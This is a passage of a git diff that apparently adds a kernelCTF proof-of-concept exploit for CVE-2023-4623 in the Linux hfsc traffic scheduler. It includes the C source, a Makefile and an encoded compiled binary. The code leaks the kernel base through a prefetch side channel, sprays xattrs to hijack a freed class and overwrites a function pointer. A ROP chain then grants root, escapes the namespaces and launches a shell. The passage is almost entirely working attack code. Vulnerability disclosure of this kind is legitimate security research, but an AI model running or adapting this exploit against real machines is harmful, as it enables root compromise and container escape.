rtattr *rta, unsigned short type, unsigned short len, char *data) { + rta->rta_type = type; + rta->rta_len = RTA_LENGTH(len); + memcpy(RTA_DATA(rta), data, len); + return rta->rta_len; +} + +int vuln_class_id = 0x00010001; // 1:1, classid of vulnerable RSC parent. +int def_class_id = 0x00010002; // 1:2, classid where packets are enqueued. +struct tf_msg newqd_msg, delc_msg, new_rsc_msg, new_fsc_msg, new_qfq_qdisc; + +void init_tf_msg (struct tf_msg *m) { + m->nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + m->tm.tcm_family = PF_UNSPEC; + m->tm.tcm_ifindex = if_nametoindex("lo"); + m->nh.nlmsg_len = NLMSG_LENGTH(sizeof(m->tm)); +} + +void init_qdisc_msg (struct tf_msg *m) { + init_tf_msg(m); + m->nh.nlmsg_type = RTM_NEWQDISC; + m->tm.tcm_parent = -1; + m->tm.tcm_handle = 1 << 16; + m->nh.nlmsg_flags |= NLM_F_CREATE; + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc")); + struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nh.nlmsg_len); + short def = 2; + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_OPTIONS, 2, &def)); +} + + +void init_rsc_class_msg (struct tf_msg *m) { + init_tf_msg(m); + m->nh.nlmsg_type = RTM_NEWTCLASS; + m->tm.tcm_parent = 1 << 16; + m->tm.tcm_handle = vuln_class_id; + m->nh.nlmsg_flags |= NLM_F_CREATE; + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc")); + struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nh.nlmsg_len); + opts->rta_type = TCA_OPTIONS; + opts->rta_len = RTA_LENGTH(0); + int rsc[3] = {1, 1, 1}; + opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_HFSC_RSC, sizeof(rsc), rsc)); + m->nh.nlmsg_len += NLMSG_ALIGN(opts->rta_len); +} + +void init_fsc_class_msg (struct tf_msg *m) { + init_tf_msg(m); + m->nh.nlmsg_type = RTM_NEWTCLASS; + m->tm.tcm_parent = vuln_class_id; + m->tm.tcm_handle = def_class_id; + m->nh.nlmsg_flags |= NLM_F_CREATE; + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc")); + struct rtattr *opts = (char *)m + NLMSG_ALIGN(m->nh.nlmsg_len); + opts->rta_type = TCA_OPTIONS; + opts->rta_len = RTA_LENGTH(0); + int fsc[3] = {1, 1, 1}; + opts->rta_len += RTA_ALIGN(add_rtattr((char *)opts + opts->rta_len, TCA_HFSC_FSC, sizeof(fsc), fsc)); + m->nh.nlmsg_len += NLMSG_ALIGN(opts->rta_len); +} + +void init_del_class_msg (struct tf_msg *m) { + init_tf_msg(m); + m->nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + m->nh.nlmsg_type = RTM_DELTCLASS; + m->tm.tcm_handle = vuln_class_id; +} + +void init_qfq_qdisc_msg (struct tf_msg *m) { + init_tf_msg(m); + m->nh.nlmsg_type = RTM_NEWQDISC; + m->tm.tcm_parent = 0x00010002; + m->tm.tcm_handle = 2 << 16; + m->nh.nlmsg_flags |= NLM_F_CREATE; + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("qfq") + 1, "qfq")); + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_OPTIONS, sizeof(jop_buf), jop_buf)); + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_OPTIONS, sizeof(rop_buf), rop_buf)); +} + +void init_nl_msgs (void) { + init_qdisc_msg(&newqd_msg); + init_del_class_msg(&delc_msg); + init_rsc_class_msg(&new_rsc_msg); + init_fsc_class_msg(&new_fsc_msg); +} + +/* + * Send a Netlink message and check for error + */ +void netlink_write (int sock, struct tf_msg *m) { + struct { + struct nlmsghdr nh; + struct nlmsgerr ne; + } ack; + if (write(sock, m, m->nh.nlmsg_len) == -1) + err_exit("[-] write"); + if (read(sock , &ack, sizeof(ack)) == -1) + err_exit("[-] read"); + if (ack.ne.error) { + errno = -ack.ne.error; + perror("[-] netlink"); + } +} + +void netlink_write_noerr (int sock, struct tf_msg *m) { + if (write(sock, m, m->nh.nlmsg_len) == -1) + err_exit("[-] write"); +} + +/* + * Allocate simple_xattr objects. + */ +int num_xattr = 0; +char xattr_buf[XATTR_DATA_LEN]; +void spray_simple_xattrs(int num_spray) { + char name[32]; + for (int i = 0; i < num_spray; i++, num_xattr++) { + sprintf(name, "security.%d", num_xattr); + if (fsetxattr(xattr_fd, name, xattr_buf, XATTR_DATA_LEN, 0) == -1) + err_exit("[-] fsetxattr"); + } +} + +/* + * Send a message on the loopback device. Used to trigger qdisc enqueue and + * dequeue functions. + */ +void loopback_send (void) { + struct sockaddr iaddr = { AF_INET }; + int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0); + if (inet_sock_fd == -1) + err_exit("[-] inet socket"); + if (connect(inet_sock_fd, &iaddr, sizeof(iaddr)) == -1) + err_exit("[-] connect"); + if (write(inet_sock_fd, "", 1) == -1) + err_exit("[-] inet write"); + close(inet_sock_fd); +} + +int main (int argc, char **argv) { + long kernel_base; + + pin_cpu(0); + + /* Get kernel base from command line or prefetch side channel */ + if (argc > 1) { + kernel_base = strtoul(argv[1], NULL, 16); + printf("[*] Using provided kernel base: %p\n", kernel_base); + } else { + printf("[*] Using prefetch to leak kernel base...\n"); + getuid(); + kernel_base = kaslr_leak(1000, 1000); + if (kernel_base == -1) { + printf("[*] Prefetch failed\n"); + exit(EXIT_FAILURE); + } + printf("[*] Leaked kernel base: %p\n", kernel_base); + } + + if (unshare(CLONE_NEWUSER) == -1) + err_exit("[-] unshare(CLONE_NEWUSER)"); + if (unshare(CLONE_NEWNET) == -1) + err_exit("[-] unshare(CLONE_NEWNET)"); + + /* Open temporary file to use for xattr spray */ + xattr_fd = open("/tmp/", O_TMPFILE | O_RDWR, 0664); + if (xattr_fd == -1) + err_exit("[-] open"); + + /* Open socket to send netlink commands to */ + int nl_sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (nl_sock_fd == -1) + err_exit("[-] nl socket"); + + /* Set loopback device up */ + if_up_msg.ifi.ifi_index = if_nametoindex("lo"); + netlink_write(nl_sock_fd, &if_up_msg); + + init_nl_msgs(); + + /* Trigger vuln */ + netlink_write(nl_sock_fd, &newqd_msg); + netlink_write(nl_sock_fd, &new_rsc_msg); + netlink_write(nl_sock_fd, &new_fsc_msg); + loopback_send(); + delc_msg.tm.tcm_handle = def_class_id; + netlink_write(nl_sock_fd, &delc_msg); + + printf("[*] Triggered vulnerability\n"); + + /* Place fake hfsc_class in xattr */ + + /* hfsc_class.level = 1 (must be non-zero) */ + xattr_buf[LEVEL_OFFSET - XATTR_HEADER_SIZE] = 1; + /* hfsc_class.vt_node = 1 (must be odd) */ + xattr_buf[VT_NODE_OFFSET - XATTR_HEADER_SIZE] = 1; + /* hfsc_class.cf_node = 1 (must be odd) */ + xattr_buf[CF_NODE_OFFSET - XATTR_HEADER_SIZE] = 1; + /* hfsc_class.parent = &qfq_change_qdisc (write target)*/ + long parent = kernel_base + QFQ_CHANGE_QDISC_LOC - CL_CVTMIN_OFFSET; + memcpy(xattr_buf + CL_PARENT_OFFSET - XATTR_HEADER_SIZE, &parent, 8); + /* hfsc_class.cl_vt = jop_gadget (write value) */ + long cl_vt = kernel_base + PUSH_RSI_JMP_QWORD_PTR_RSI_MINUS_0x70; + memcpy(xattr_buf + CL_VT_OFFSET - XATTR_HEADER_SIZE, &cl_vt, 8); + + printf("[*] Spraying simple_xattrs...\n"); + /* Spray simple_xattrs */ + delc_msg.tm.tcm_handle = vuln_class_id; + netlink_write(nl_sock_fd, &delc_msg); + spray_simple_xattrs(XATTR_SPRAY); + + /* Create new default class and trigger enqueue/dequeue to overwrite + * qfq_change_qdisc with jop gadget */ + new_fsc_msg.tm.tcm_parent = 1 << 16; + netlink_write(nl_sock_fd, &new_fsc_msg); + + printf("[*] Overwriting function pointer\n"); + loopback_send(); + + /* Prepare ROP chain at an offset of 4 bytes. With the 4-byte rtattr + header it will be at an 8-byte offset from rsi, allowing it to be reached + with `push rsi ; pop rsp ; pop rbx` for the stack pivot */ + init_rop(rop_buf + 4, jop_buf, kernel_base); + + /* Create QFQ qdisc */ + init_qfq_qdisc_msg(&new_qfq_qdisc); + netlink_write_noerr(nl_sock_fd, &new_qfq_qdisc); + + + /* Call overwritten function pointer */ + printf("[*] Triggering ROP chain\n"); + netlink_write_noerr(nl_sock_fd, &new_qfq_qdisc); + + if (getuid()) { + printf("[-] Privesc failed\n"); + exit(EXIT_FAILURE); + } + + printf("[+] Returned from ROP\n"); + + int mntns_fd = open("/proc/1/ns/mnt", O_RDONLY); + if (mntns_fd == -1) + perror("[-] open(/proc/1/ns/mnt)"); + + int netns_fd = open("/proc/1/ns/net", O_RDONLY); + if (netns_fd == -1) + perror("[-] open(/proc/1/ns/net)"); + + int pidns_fd = open("/proc/1/ns/pid", O_RDONLY); + if (pidns_fd == -1) + perror("[-] open(/proc/1/ns/pid)"); + + + if (setns(mntns_fd, CLONE_NEWNS) == -1) + perror("[-] setns mnt"); + if (setns(netns_fd, CLONE_NEWNET) == -1) + perror("[-] setns net"); + if (setns(pidns_fd, CLONE_NEWPID) == -1) + perror("[-] setns pid"); + + printf("[*] Launching shell\n"); + system("/bin/sh"); +} diff --git a/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/lts-6.1.36/Makefile b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/lts-6.1.36/Makefile new file mode 100644 index 00000000..0a07db56 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/lts-6.1.36/Makefile @@ -0,0 +1,6 @@ +CFLAGS = -Wno-incompatible-pointer-types -Wno-format -static + +exploit: exploit.c + +run: + ./exploit diff --git a/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/lts-6.1.36/exploit b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/lts-6.1.36/exploit new file mode 100644 index 0000000000000000000000000000000000000000..85dd53d4d16b0db98acdf8fa565e3fed8a483025 GIT binary patch literal 19176 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 literal 0 HcmV?d00001 diff --git a/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/lts-6.1.36/exploit.c b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/lts-6.1.36/exploit.c new file mode 100644 index 00000000..7f4456c5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4623_lts_cos/exploit/lts-6.1.36/exploit.c @@ -0,0 +1,481 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* Prefetch kaslr leak */ +#define MIN_STEXT 0xffffffff81000000 +#define MAX_STEXT 0xffffffffbb000000 +#define BASE_INC 0x1000000 +#define SYS_GETUID 0x1a7440 + +/* simple_xattr spray */ +#define XATTR_SPRAY 32 +#define XATTR_HEADER_SIZE 32 +#define XATTR_SLAB_LEN 1024 +#define XATTR_DATA_LEN (XATTR_SLAB_LEN/2) + +/* hfsc_class offsets */ +#define LEVEL_OFFSET 100 +#define CL_PARENT_OFFSET 112 +#define VT_NODE_OFFSET 192 +#define CF_NODE_OFFSET 224 +#define CL_VT_OFFSET 280 +#define CL_CVTMIN_OFFSET 312 + +/* Data offsets */ +#define INIT_NSPROXY 0x26765c0 +#define QFQ_CHANGE_QDISC_LOC 0x295d438 + +/* Function offsets */ +#define PREPARE_KERNEL_CRED 0x1befb0 +#define COMMIT_CREDS 0x1bed10 +#define FIND_TASK_BY_VPID 0x1b5600 +#define SWITCH_TASK_NAMESPACES 0x1bd180 + +/* Gadget offsets */ +#define PUSH_RSI_JMP_QWORD_PTR_RSI_MINUS_0x70 0xdf26ac +#define PUSH_RDI_POP_RBX_POP_RBP_RET_THUNK 0x09e7eb +#define POP_RSP_POP_RBX_RET_THUNK 0x357c79 +#define POP_RDI_RET_THUNK 0x088893 +#define POP_RSI_RET_THUNK 0x0d88a3 +#define POP_RDX_RET_THUNK 0x047e72 +#define POP_RCX_RET_THUNK 0x0271ec +#define MOV_RDI_RAX_THUNK_RCX 0x817ea9 +#define ADD_RAX_RCX_RET_THUNK 0x0d5f84 +#define PUSH_RAX_JMP_RDX_THUNK 0x94dca7 +#define POP_RSP_RET_THUNK 0x068961 +#define MOV_RAX_R14_POP_R14_RET_THUNK 0xa210ac +#define POP_R14_RET_THUNK 0x0d88a2 + +#define err_exit(s) do { perror(s); exit(EXIT_FAILURE); } while(0) + +struct tf_msg { + struct nlmsghdr nh; + struct tcmsg tm; +#define TC_DATA_LEN 512 + char attrbuf[TC_DATA_LEN]; +}; + +struct if_msg { + struct nlmsghdr nh; + struct ifinfomsg ifi; +}; + +/* Netlink message for setting loopback up. */ +struct if_msg if_up_msg = { + { + .nlmsg_len = 32, + .nlmsg_type = RTM_NEWLINK, + .nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK, + }, + { + .ifi_family = AF_UNSPEC, + .ifi_type = ARPHRD_NETROM, + .ifi_index = 1, + .ifi_flags = IFF_UP, + .ifi_change = 1, + }, + +}; + + +int xattr_fd; +char rop_buf[512]; +char jop_buf[0x70]; + +void pin_cpu (int cpu) { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (sched_setaffinity(0, sizeof(set), &set)) + err_exit("[-] sched_setaffinity"); +} + +/* + * Prefetch timing code from Daniel Gruss. + * https://github.com/IAIK/prefetch + */ + +inline __attribute__((always_inline)) size_t rdtsc_begin () { + size_t a, d; + asm volatile ( + "mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline __attribute__((always_inline)) size_t rdtsc_end () { + size_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +void prefetch (void* p) { + asm volatile ("prefetchnta (%0)" : : "r" (p)); + asm volatile ("prefetcht2 (%0)" : : "r" (p)); +} + +size_t onlyreload (void* addr) { + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + return delta; +} + +/* + * Simple implementation of prefetch sidechannel to + * bypass KASLR. + */ + +long kaslr_leak (int tries1, int tries2) { + long base = -1, addr; + size_t time; + size_t min = -1; + + addr = 0xffffffff80000000; + for (int i = 0; i < tries1; i++) { + time = onlyreload(addr); + min = min < time ? min : time; + } + + for (int i = 0; i < tries2; i++) { + for (addr = MIN_STEXT; addr <= MAX_STEXT; addr += BASE_INC) { + time = onlyreload(addr + SYS_GETUID); + if (time < min && addr < base) { + base = addr; + } + } + } + return base; +} + +void init_rop (long *rop, long *jop, long kbase) { + *jop++ = kbase + POP_RSP_POP_RBX_RET_THUNK; + /* restore rbx */ + *rop++ = kbase + PUSH_RDI_POP_RBX_POP_RBP_RET_THUNK; + *rop++ = 0; + /* commit_creds(prepare_kernel_cred(0)) */ + *rop++ = kbase + POP_RDI_RET_THUNK; + *rop++ = 0; + *rop++ = kbase + PREPARE_KERNEL_CRED; + *rop++ = kbase + POP_RCX_RET_THUNK; + *rop++ = kbase + COMMIT_CREDS; + *rop++ = kbase + MOV_RDI_RAX_THUNK_RCX; + /* switch_task_namespaces(find_task_by_vpid(1, init_ns_proxy) */ + *rop++ = kbase + POP_RDI_RET_THUNK; + *rop++ = 1; + *rop++ = kbase + FIND_TASK_BY_VPID; + *rop++ = kbase + POP_RSI_RET_THUNK; + *rop++ = kbase + INIT_NSPROXY; + *rop++ = kbase + POP_RCX_RET_THUNK; + *rop++ = kbase + SWITCH_TASK_NAMESPACES; + *rop++ = kbase + MOV_RDI_RAX_THUNK_RCX; + /* return back to the original stack */ + *rop++ = kbase + MOV_RAX_R14_POP_R14_RET_THUNK; + *rop++ = 0; + *rop++ = kbase + POP_RDX_RET_THUNK; + *rop++ = kbase + POP_R14_RET_THUNK; + *rop++ = kbase + PUSH_RAX_JMP_RDX_THUNK; + *rop++ = kbase + POP_RCX_RET_THUNK; + *rop++ = (long)-384; + *rop++ = kbase + ADD_RAX_RCX_RET_THUNK; + *rop++ = kbase + POP_RDX_RET_THUNK; + *rop++ = kbase + POP_RSP_RET_THUNK; + *rop++ = kbase + PUSH_RAX_JMP_RDX_THUNK; +} + +/* Helper functions for creating rtnetlink messages. */ + +unsigned short add_rtattr (struct rtattr *rta, unsigned short type, unsigned short len, char *data) { + rta->rta_type = type; + rta->rta_len = RTA_LENGTH(len); + memcpy(RTA_DATA(rta), data, len); + return rta->rta_len; +} + +int vuln_class_id = 0x00010001; // 1:1, classid of vulnerable RSC parent. +int def_class_id = 0x00010002; // 1:2, classid where packets are enqueued. +struct tf_msg newqd_msg, delc_msg, new_rsc_msg, new_fsc_msg, new_qfq_qdisc; + +void init_tf_msg (struct tf_msg *m) { + m->nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + m->tm.tcm_family = PF_UNSPEC; + m->tm.tcm_ifindex = if_nametoindex("lo"); + m->nh.nlmsg_len = NLMSG_LENGTH(sizeof(m->tm)); +} + +void init_qdisc_msg (struct tf_msg *m) { + init_tf_msg(m); + m->nh.nlmsg_type = RTM_NEWQDISC; + m->tm.tcm_parent = -1; + m->tm.tcm_handle = 1 << 16; + m->nh.nlmsg_flags |= NLM_F_CREATE; + m->nh.nlmsg_len += NLMSG_ALIGN(add_rtattr((char *)m + NLMSG_ALIGN(m->nh.nlmsg_len), TCA_KIND, strlen("hfsc") + 1, "hfsc")); 